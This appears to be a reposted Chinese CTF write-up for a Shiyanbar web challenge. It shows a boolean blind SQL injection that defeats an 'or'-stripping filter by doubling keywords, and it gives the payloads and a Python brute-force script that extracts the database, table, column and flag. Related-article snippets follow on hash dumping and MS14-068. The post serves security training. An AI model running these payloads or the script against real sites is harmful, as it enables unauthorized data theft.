实验吧 认真一点

news/2024/5/19 22:26:13 标签: CTF, SQL注入, web

        本实验是输入id获取结果,查看页面源码,没有什么注释信息。随便输入个1,结果为You are in ...............,其他的id显示为You are not in ...............

        使用Burp suite进行模糊测试,结果为or部分sql命令都可以使用。

        但是使用or命令注入失败,但是从模糊测试来看是没有屏蔽or关键字,应该是后台删去了or关键字。使用oorr进行替换,当后台删去or时,or左边的o与右边的r新形成一个or关键字。

      因此可以通过判断形成的SQL语句结果结果是否为1确定查询内容的正确性,首先确定数据库名长度。构造id=0'oorr(length(database())=len)oorr'0判断数据库名长度。len是要确定的长度。使用burp suite进行破解,发现len=18。


       然后对数据库名爆破,针对每一位数据库的字母进行爆破。以第一位为例,可以看出爆破结果为c或C。整个数据库名可以全部爆破出来。数据库名为ctf_sql_bool_blind。其中id=0'oorr((mid((user())from(y)foorr(x)))='%s')oorr'0中的foorr是为了避免删除or,在删除or后形成for。


        可以通过构建相应语句爆破库中表名及列名及列中元素值。本打算先爆破数据库中表的长度,但是测试到30多位依然不通过,直接爆破表名,表应该有两个,一个为fiag,另一个为users。不知道为什么后面会有一堆-------,在本地数据库测试时只有表名。使用爆破语句,id=0'oorr((select(mid(group_concat(table_name separatoorr '@')from(x)foorr(1)))from

(infoorrmation_schema.tables)where(table_schema)='ctf_sql_bool_blind')='y')oorr'0;x为位数,y为字符。

        为了方便也可以写脚本。从表名上看flag应该在表fiag中。


        直接对fiag表进行列名爆破,使用爆破语句id=0'oorr((select(mid(group_concat(column_name separatoorr '@')

from(x)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='y')oorr'0;只有一列,列名为fl$4g,

对列中值爆破。使用payload:id=0'oorr((select(mid((fl$4g)from(x)foorr(1)))from(fiag))='y')oorr'0;最终爆破出flag:flag{haha~you-win!}但是flag中-是个错误的字符,就想flag个后面多余的--,最终试出-替代的是' '.即flag{haha~you win!}

        用于爆破的python脚本。

# -*- coding:utf8 -*-

import requests

chars ='~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],.'

len =len(chars)

url=r'http://ctf5.shiyanbar.com/web/earnest/index.php'

mys=requests.session()

true_state=b'You are in'

result =''

# 爆破数据库长度 18

#    payload = "0'oorr((length(database()))=%s)oorr'0"%(x)
#
#    myd={'id':payload}
#
#    res=mys.post(url, data=myd).content
#
#    if true_state in res:
#
#        print(x)
#
#        print('true')


#爆破数据库名 ctf_sql_bool_blind

# for x in range(18):
#
#     for y in chars:
#
#         payload = "0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0"%(x+1, y)
#
#         myd = {'id': payload}
#
#         res = mys.post(url, data=myd).content
#
#
#         print(str(y))
#
#         if true_state in res:
#
#             result = result + y
#
#             print('true'+str(x)+str(y))
#
#             break
#
# print(result)

#爆破表名 fiag@users

#爆破列名 fl$4g@id@username@password

for x in range(50):

    for y in chars:

        # payload = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)='ctf_sql_bool_blind')='%s')oorr'0"%(x+1,y)

        # payload = "0'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')='%s')oorr'0"%(x+1,y)

        payload = "0'oorr((select(mid((fl$4g)from(%s)foorr(1)))from(fiag))='%s')oorr'0" % (x + 1, y)

        payload = payload.replace(' ', chr(0x0a))

        myd = {'id': payload}

        res=mys.post(url, data=myd).content

        print(str(y))

        if true_state in res:

            result = result + y

            print('true'+" "+str(x)+" "+result)

            break

    print(result)






http://www.niftyadmin.cn/n/1489472.html

相关文章

工具试用:获取哈希

0X01 GetPass.exe 1、GetPass.exe 32位下使用需要管理员权限小H伞直接报2、GetPassword_x64.exe 64位下使用需要管理员权限小H伞未报 0X02 pwdump7.exe 结果为用户名,哈希。星号代表空。0X03 Quarks-pwdump.exe 哈希前半部分以“AAD3...”开头的代表空。0X04 …

MS14-068 复现

前言 1、Kerberos协议在过去几年被曝光了一些漏洞,一个影响最大的漏洞是MS14-068。 2、漏洞效果:域用户利用该漏洞可以获取域管理员权限。 3、MS14-068 CVE编号:CVE-2014-6324;补丁号为KB3011780。 环境准备 域环境&#xff…

实验吧 损坏的U盘镜像

从网站上可以下载一个CTF.hdd的文件,使用winHex打开,可以知道这是一个exFAT格式的文件。用binwalk检查一下,发现文件中包含两个zip文件,使用foremost进行提取。一个压缩包需要密码解压缩,另一个解压后发现Password.txt…

实验吧 who are you

暴力求数据库名: # -*- coding:utf-8 -*- import requests import string url "http://ctf5.shiyanbar.com/web/wonderkun/index.php" guess string.lowercasestring.uppercasestring.digitsstring.punctuation database[]for database_number in ra…

linux(ubuntu)虚拟机安装open-vm-tools

什么是open-vm-tools open-vm-tools 是 VMware Tools 的开源实施,由一套虚拟化实用程序组成,这些程序可增强虚拟机在 VMware 环境中的功能,使管理更加有效。open-vm-tools 的主要目的是使操作系统供应商及/或社区以及虚拟设备供应商将 VMware…

ubuntu编译hadoop源码

1.环境配置 1.1安装JDK 详细步骤可查看JDK安装教程 1.2安装maven 详细步骤可查看Maven安装教程 1.3安装依赖库 sudo apt-get install build-essential cmake libglib2.0-dev libssl-dev autoconf automake libtool curl make g unzip #部分为运行protobuf所需的依赖库 1.4…

Hadoop安装教程_伪分布式配置(Hadoop2.7.6/Ubuntu14.04 32位)

Hadoop官方教程:Hadoop: Setting up a Single Node Cluster 1.环境 本文使用 Ubuntu 版本为 14.04 32位 ,请自行安装。Ubuntu需要安装JDK(JDK安装教程),因hadoop官方高版本只发布64位编译版,因此安装32位需要自行编译,编译过程可…

Windows 内置下载工具

前言 今天来学习两个Windows下内置工具的使用: bitsadmincertutil Bitsadmin 1、自Win7开始系统默认包含Bitsadmin,是一个命令行工具,可用于创建下载或上载作业并监视其进度。它也可通过powershell调用,名称为BITS cmdlets。 …